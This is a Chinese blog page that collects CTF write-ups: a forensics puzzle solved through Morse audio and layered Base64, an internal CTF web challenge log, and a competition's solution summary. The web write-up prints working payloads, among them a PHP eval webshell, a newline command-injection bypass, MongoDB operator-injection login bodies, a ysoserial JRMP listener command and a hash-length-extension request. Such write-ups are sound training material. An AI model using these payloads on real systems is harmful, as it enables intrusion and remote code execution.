TrID认为这是一个OGG文件。OGG是一种音频文件格式,大家如果平时有留意的话,在手机上一定见过这样的文件,许多手机内置的音效就是以OGG文件格式存在的。接下来就是要用到我之前提到的Audacity,使用桌面上的Audacity工具打开我们提取出来的OGG文件,默认会显示音频文件左右两个声道的波形图,如图所示: 按住键盘左下角的Ctrl按键,同时滚动鼠标滚轮即可对波形图进行放大或者缩小操作,这里我们将波形图进行放大,然后播放OGG文件,我们发现在中间的某一个区间内夹杂着一些“滴滴”的声音,实际上这里是播放的摩斯码,通过对声道的波形图观察,可以看到如下的特征。 在Audacity中,将波形图放得越大,就越能明显的看到对应的摩斯码特征,通过对声音波形图的分析,我们可以得到摩斯码(摩斯码从第18秒开始播放,如果两段“滴滴”声之间的时间间隔在7~8秒左右,则认为是两个不同的摩斯码之间的分隔,用空格表示,如果两段“滴滴”声之间的时间间隔在2~3秒左右,则认为是同一个摩斯码的内容)。分析后得到的摩斯码为“.- ... - .- .-. .. ... -... --- .- .-. -.”,打开桌面上的JPK,将摩斯码输入之后,依次选择菜单项“Ascii”、“Decode”、“DeMorse”,得到字符串ASTARISBOARN。通过实验步得到字符串ASTARISBOARN,将其当做密码对压缩包进行解压测试,发现可以成功解压,得到一个PDF文件。这个PDF文件直接看上去似乎没有什么有用的信息,但是对其中的文字进行选择操作的时候,发现页眉和页脚中似乎有一些不可见的文字,如图所示: 这里我们通过Ctrl+A对其中的文本进行全选,然后粘贴到记事本里面去,得到两个可疑的字符串:VjIweE5HRkdiM3BrUnpGT1UwVndjMWx0Y0ZkalJtdzJWbTFhYUZkRk5XMVhiVFZYWkZWc1dVMUVNRDA9我们解密一下,将两个字符串拼接起来后进行Base64解码,得到另一个字符串V20xNGFGb3pkRzFOU0Vwc1ltcFdjRmw2Vm1aaFdFNW1XbTVXZFVsWU1EMD0=,仍然是Base64加密,经过这样的几次Base64解码之后,最后得到字符串flag{f0ren5ic5_is_fun!},这就是题目所要求要找的Flag字符串了。CTF真是防不胜防,还顺便了解一下摩尔斯电码。这次实验真的是很有意思,解题过程比较简单,但是思路很重要。相关推荐: 2021陇剑杯网络安全大赛-签到夜白君 2021-09-14 20:47:53 202 收藏 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 2021陇剑杯网络安全大赛-签到 题目描述:网管小王在上网途中发现自己的网络访问异常缓慢,于…
阅读全文
CTF-web的经历 CTF专场

CTF-web的经历

最近参加了内部CTF,只会web,题目不难,基本做的差不多了。因为不确定是否可以传播,因此截图和源码都比较少,主要是心路历程。第一题,PHP unsafe扫描到/download.php,/download.php~为其备份文件,泄露源码。源码是一个很简单的MD5科学计数法的弱类型比较。即0e861580163291561247404381396064形式的md5值可视为科学计数法,值为0,用类似的值去比较即可碰撞出密码。参考https://zhuanlan.zhihu.com/p/349853934过了这关可以获取index.php的源码,是一个PHP反序列化以及弱类型的比较,关于PHP反序列化可以参考我的过往文章。考点一 if (strcmp($this->a,strcmp($this->b, "abc")) ===0)这里$this->a为常数NULL,因此strcmp($this->b, "abc")也必须为NULL,结合后面的代码让$this->b为数组就行了。考点二if(strpos($_GET,"flag")!==false)这里序列化数据不能包含flag,但最终的payload又必须有flag,也就是要给序列化数据进行编码。刚好PHP序列化可以通过大写S的方法对字符串进行转义。s:18:"<?php phpinfo();?>"S:18:"3c3f706870phpinfo();?>"最终获得flag第二题,抓黑客给了一个压缩文件,里面是流量包和SSL.log,需要用较新版的Wireshark进行读取。读取之后发现黑客上传了一个webshell。同时那个上传接口只能上传图片后缀的文件,无法绕过。考点就是利用那个webshell核心代码如下if ( !preg_match('/^w+$/', $name) )exec('echo ' . implode(" ", $name));也就是传输一个数组,数组的值只允许a-z,A-Z,0-9以及下划线,最后将所有值前面加个空格然后拼接起来。也就是echo xxx xxx的命令拼接绕过。此处利用了一个小技巧就是正则会无视最后一个换行,因此$name=123%0A也是可以过if的。而echo 123x0A sh 1.sh就可以执行sh了。那么1.sh从哪儿来呢?上传接口只能上传1.jpg之类的文件,有点过不了if。仔细研究后发现可以上传名称为【jpg】【png】【gif】的文件。而且由于文件无法覆盖,这里只有三次机会。最终上传文件内容如下echo '<?php eval($_POST);?>' > 1.php再用name=1%0A&name=sh&name=jpg触发拿到webshell第三题,来找茬考点一,nodejs的MongoDB注入,以下均可{"username":{"$ne":null},"password":{"$ne":null}}{"username":{"$regex": "^"},"password":{"$regex": "^"}}{"username":{"$not":{"$type":1}},"password":{"$not":{"$type":1}}}考点二,CVE-2020-7699https://www.freebuf.com/vuls/246029.html第四题,Java群英会这题纯粹败在了字典不够完善的缺陷上。/doc.html校验Authorization,一开始应该是个很复杂的密码,没人能爆破出来,第二天改成admin:admin123了。里面展示了几个接口,登录接口存在rememberMe也就是说是shiro,反序列化爆破key无果。访问/;/sys/user/index越权成功。其中一个查询接口泄露admin的账户密码,登录后访问其他几个接口都没有任何反应,于是陷入僵局。新增提示/h2,/druid,进去/h2,发现存在多个数据库连接测试,我优先选择的是mysql任意文件读取和mysql反序列化,都失败。最后发现JNDI注入,这里不清楚java版本,于是直接用CommonsBeanutils1链成功反序列化。 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 calc 这道题目非常接近真实环境,可惜我字典不行,很多目录没扫出来。第五题,简单计算题只有一个test.php提示未授权访问,需要用到header绕过,一般是XFF头,但这里却用的是XFF的变种,应该困住了一些人。X-Forwarded-For: 127.0.0.1X-Forward-For: 127.0.0.1然后是常规XXE读flag,没有任何过滤。这里应该加上点本地dtd,php伪协议,XXE编码的知识,否则太简单了。第六题,HashShop一个简单商城,注册账户只有300积分,要求购买888积分的flag,购买数据包为如下POST /payment/check?signature=d9dbe0b94a800571c82b90a0c23b308eorder_id=71&buyer_id=17&good_id=38&buyer_point=300&good_price=888&order_create_time=1625369255.403636这里可修改参数为buyer_id=17/buyer_point=300/good_price=888分别是购买者id,购买者剩余积分,购买商品所需积分。篡改之后提示签名错误,也就是signature值不对。那么考点就是哈希长度扩展。https://www.leavesongs.com/PENETRATION/phpwind-hash-length-extension-attack.html安装hashpump,进行hash篡改,此处有几个问题。1,hashpump需指定secretkey长度,这里必须爆破,但我却使用了1-32的爆破区间,浪费了很长时间。最后才有提示说是50,以后拿1-100当区间了。2,有三处地方都有可能篡改,buyer_point=1000,good_price=1都可以,然而buyer_id>17有16种可能,也需要爆破。3,关于篡改验证签名,是md5(xxx)=d9dbe0b94a800571c82b90a0c23b308e,d9dbe0b94a800571c82b90a0c23b308e是事先算出来的,而xxx是什么就很重要了。经过反复确认,xxx关联的并不是buyer_id=17这个17,而是POST包的整个data,也就是说随便加换行符,&,无关参数,或者把17进行URL编码都会提示签名错误。那么这种情况,将hashpump的payload直接发送和URL编码发送都是错误的,必须发送原值。也就是要发送下面这个。urldecode('order_id=71&buyer_id=17&good_id=38&buyer_point=250&good_price=888&order_create_time=1625369255.403636%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%04%00%00%00%00%00%00&buyer_id=1')我开始认为这种字节无法使用burp爆破,因此自己写python脚本进行爆破,也浪费了一定时间。最终buyer_id=16,secretkey长度为50基础上进行哈希长度扩展就能做出来这题了。而burp也可以对这种字节进行爆破,虽然00字节字典无法导入,但可以先导入%00等字节,再设置urldecode的rule。 本文始发于微信公众号(珂技知识分享):CTF-web的经历
阅读全文
【平安CTF赛题】解题思路总结 CTF专场

【平安CTF赛题】解题思路总结

第五届平安集团CTF大赛已经顺利落下帷幕,本文将对本届比赛的初赛和决赛进行出题思路与解题思路的分析和总结,供新老参赛选手参考。文中的例题均为本届CTF真题,可以在零号平台进行练习。 初赛初赛是典型的CTF模式,即解题模式。解题模式的赛题之间没有关联性,因此参赛队伍可以任意选择擅长的题型进行解答。赛制采用均分制和一血制,即每道题的分值由解答出该题的队伍均分,并且前三个解答出某道题目的队伍会有额外加分。这就意味为了获取胜利,参赛队伍需要尽可能快地解答出容易题以获得一血加分,尽可能多地解答出困难题以避免分数被稀释,所以参赛队伍内部可以提前分工,按照各自擅长的领域,快速浏览各题型的题目,对于直觉上比较有把握的题优先解答,争取获得一血加分。回到题目本身,总体而言CTF考察的是套路,即对各类知识点和解题方法的熟悉程度,如果能够掌握常见套路,在比赛时看到题目,基本上就能把考点猜个八九不离十,进而使用对应的解题方式去尝试。与真实世界的黑盒测试不同,CTF的题名和题干是包含解题线索的,所以选手在答题过程中要仔细审题。从出题角度来看,常见的考点就那么些,为了确保题目的难度,通常有两种做法,一种是在一道题中加入多个考点,另一种是挖掘新的考点。对于第一种方式,我们在出题时会尽量避免单纯的堆砌考点,保持题目的连贯性,保证选手在解决了一个考点后能够得到下一个考点的线索。对于第二种方式,命题组中确实有大神能够编写出没见过的题,但多数情况还是参考商业比赛中的新题的出题思路进行出题,即使是没见过的题,知识点总是见过的,无非是换种方式表现出来,所有总体而言,平时多做题,举一反三是非常有用的。CTF中常见的题型包括MISC、WEB、REVERSE(MOBILE也是REVERSE的一种)、PWN、CRYPTO等,下面按照题型分别介绍出题与解题思路。MISCMISC题是比赛中相对而言难度较低的题型,主要考察选手的知识广度而非深度,以及快速学习新知识的能力。由于出题考点涉及的知识面比较广,选手在解题时可能需要开一些脑洞。各种常见的考点都有相应的解题工具,选手需要提前准备并熟悉工具的使用。推荐选手掌握一种脚本语言用于解题,如python,各类工具库丰富,并且上手简单,书写和运行方便。下面罗列一些常见的考点和解题思路供选手参考。以“大隐隐于市”为例:首先拿到的是一张图片,显然按照一般思路这是一道图片隐写题。查找flag字符串和查看文件属性,发现有flag字符串,通过观察图片标志位,显然这里已经在图片外面了。 那么尝试使用binwalk分析以下文件尾部是否有拼接其他文件,显然拼接了一个压缩包。 但是这个压缩包并不在flag字符串的位置,仔细观察flag位置,发现上面有残缺的zip文件头,补全后可以获取flag所在的压缩包,需要密码,先放一放。文件尾部的压缩包也有密码,先不急着爆破,观察后发现压缩包内部的文件都是四个字节,符合CRC碰撞的要求,那么使用CRC碰撞即可知道文件内容。显然这不是flag,只是部分线索,需要进一步分析题目。使用stegsolve观察图片的最低有效位和各个通道,没有发现可疑内容,那么很可能使用了专用的隐写算法。经过尝试发现使用了盲水印,得到第二个线索。 使用线索中的密码解压含flag的压缩包,获得flag。 WEBWEB题是比赛中题目占比最大的题型之一,主要考察选手对常见web漏洞的了解,代码审计以及绕waf能力,一般而言考点都是出题者构造的漏洞,并且有一定的防护手段,因此常见的扫描器都是无效的,选手需要手动测试。考点涉及的漏洞都是常见类型的漏洞,比如sql注入、文件上传、命令注入、反序列化等。对于代码审计题,需要选手掌握java、python、php等常见服务端编程语言的语法和漏洞成因,根据源码构造payload。对于黑盒测试题,可以根据返回页面的功能大致确定漏洞点,在尝试利用过程中如果发现了waf,需要针对性地绕过,使用常见的绕过方式进行尝试,确定绕过方式,最后编写绕waf的payload获取flag。以“来找茬”为例根据题目说明以及页面返回的内容基本可以确定是针对nodejs服务的攻击。 首先需要绕过登录认证,使用nosql注入进行绕过,登录后看一个上传页面,那么可能是nodejs的express-upload组件漏洞以及nodejs的原型污染导致的rce,构造相应payload即可,不需要绕过waf。  REVERSE和PWNREVERSE和PWN题本质上属于一类题,主要考察选手的二进制分析能力,门槛较高,但是脑洞较少,只要选手基本功扎实就能拿到分数。REVERSE针对Windows、Linux、Android和iOS下的可执行文件和固件。iOS题和固件逆向题由于需要专用的硬件设备,考察的知识点也比较冷门,选手可以选择性放弃。拿到REVERSE题的第一步是以通过后缀名和文件头确定二进制文件的类型,并使用对应的反编译工具对二进制文件进行反编译,可常见的二进制文件及对应的反编译工具见下表。语言反编译工具C/C++(exe、dll、so)IDAC#(exe)dnSpyJAVA(jar)jd-gui、CFR、IDEAJAVA(apk)jadx、JEBPython(exe、pyc)python-exe-unpacker、uncompyle6较低难度的题目在逆向后能拿到完整的汇编和源码,flag可能直接硬编码在代码中或是资源文件中,仔细阅读代码即可。中等难度的题目会在代码中实现一个编码或是加密算法,需要根据算法和题干倒推flag,此时就要确定使用的编码或者加密算法。选手需要熟悉常见编码和加密算法的特征,比较简单的算法如异或、ASCII和HEX等可以直接看出来,自定义的算法一般也不会很复杂,可以通过阅读源码分析出来,较为复杂的标准加密算法一般出题者不会去修改内部实现,最多修改一下配置,如Base64修改一个字典,MD5修改初始向量,可以使用一些算法识别插件辅助分析。如果代码量比较大,可以通过执行题目程序时的提示信息反向查找字符串引用,在从打印字符串的位置向上查找考点算法。较高难度的题目会增加反调试或是加壳,此时就需要动态分析,调试工具包括windows下的od、windbg、x64dbg,linux下的gdb,android的android killer等。反编译工具IDA也可以进行调试,主要针对Android的so文件。对于反调试,需要选手熟悉常见的反调试方式,找到对应的反调试代码进行patch。对于加壳,可以使用脱壳机试试,不行的话可以使用esp平衡原理手动脱壳。PWN题一般是Linux下的可执行文件,和REVERSE类似,拿到题第一步是使用IDA逆向成汇编,查看代码逻辑。PWN题的代码逻辑一般比较简单,在查看代码的过程中需要关注常见的可能有溢出漏洞的函数,如scanf、puts、gets、fputs、fgets、read、write等,通常都是没有严格校验输入长度导致溢出。确定漏洞点后使用gdb进行安全性检查和调试,根据安全性配置确定payload,根据题目给与的条件确定system函数的地址或是构造gadget,使用pwntools编写poc脚本进行验证。以“simple-antidebug为例”拿到apk包后进行反编译,看到主界面onClick的回调调用了native层的submit函数。 进一步反编译so文件,从导出表中找到导出的submit函数,查看伪代码,发现调用了encode函数并和固定字符串比较。 其实这里根据字符串的特征基本推测可能是base64编码,观察encode的算法,进一步确认是base64算法,并且使用了自定义的字典table。 直接使用table的内容解码发现错误,通过查找交叉引用发现table经过transform函数的处理,而transform函数通过initialize函数的调用,在初始化时自动执行。根据transform函数的逻辑,转换字典即可解码。 CRYPTOCRYPTO包括编码与加密,所以经常以MISC和REVERSE题的形式出现。以CRYPTO形式出的题主要有两种出题方式:第一种是给部分明文和密文或是只给密文,需要选手根据已知信息推测可能的编码和加密方式,一般而言通过密文空间即可大致推断出算法。第二种是针对标准加密算法的攻击,一般通过题目给予的信息即可大致确定攻击方法。如padding oracle、CBC字节翻转、RSA低加密指数、RSA共模攻击等,题干信息都有明确的特征,选手只要做过该题型的题目即可在下次遇到相似题干时快速确定攻击方式。以“easy crypto为例”题干是两行字符串和一个压缩包,压缩包有密码。先看字符串,从空格的位置以及密文空间判断,第一行可能是简单的移位加密,即凯撒加密,尝试不同的偏移量即可得到明文use base to decrypt unzip password,显然提示第二行是basexx编码,从密文空间判断,包含数字和大写字母A到D,那么是base16,解码后得到KVCEM5K2GBDHKUL2MRWQ====,包含数字和大写字母,那么是base32,解码后得到UDFuZ0FuQzdm,包含大小写字母,那么是base64,解码后得到P1ngAnC7f,已经是明文了,用来解压压缩包。 很显然,根据e,n,c和m的命名方式可以确定是RSA,由于e很小,并且给了多组n和c,那么使用低加密指数广播攻击得到flag。 决赛决赛是渗透测试模式,比赛环境模拟真实网络环境,分为外网-内网-核心内网区域,选手需要获取外层网络的主机权限后才能进入下一层网络。与初赛类似,决赛使用了一血制。由于内层网络赛题的分值高于外层网络,如果对自身的实力有信心,在获取到了外层网络进入内层网络的权限后可以将主要的精力放在内层网络,尽快进入核心网络解答高分题。由于是模拟真实网络环境,题目考点通常包含常见的组件漏洞,所以选手可以根据探测到的web组件,使用搜索引擎搜索公开漏洞。一些送分题可能直接使用公开exp即可获取flag,分值较高的题一般和CTF中的web题一样存在waf,或是一题中包含多个相关考点,需要抽丝剥茧一步一步攻破。在获得了权限后,尽快搭建代理进入内网,常见的web正向代理可以使用regeorg,sock反向代理可以使用ew,使用获得的隧道上传扫描工具进行内网探测,漏洞挖掘和权限获取。对于题目的解答思路类似ctf中的web,在此不再赘述。PSRC 公众号欢迎投稿!请投稿至邮箱:[email protected]有问题请添加QQ:340900456010月16日,深圳站沙龙火热报名中!戳上图链接,了解活动详情👆往期回顾技术防守方视角看漏扫——手把手教你定制自己的漏扫框架(POC部分)技术D-Link 816-A2 路由器研究分享技术使用Ghidra P-Code对OLLVM控制流平坦化进行反混淆技术家用路由器D-LINK DIR-81漏洞挖掘实例分析公告平安SRC漏洞/威胁情报反馈与处理流程指南长按识别二维码关注我们微信号:PSRC_Team球分享球点赞球在看相关推荐: 通过一道CTF题学习php-fpm攻击初识php-fpm在我们早期的web服务器只处理html等静态文件,后来随着技术发展,出现了像php等动态语言,但是web服务器并不能处理他,这个时候就需要一个叫做php解释器的东西来处理,但是php解释器如何与网络服务器进行通信呢?随之出现了CGI协议,可以…
阅读全文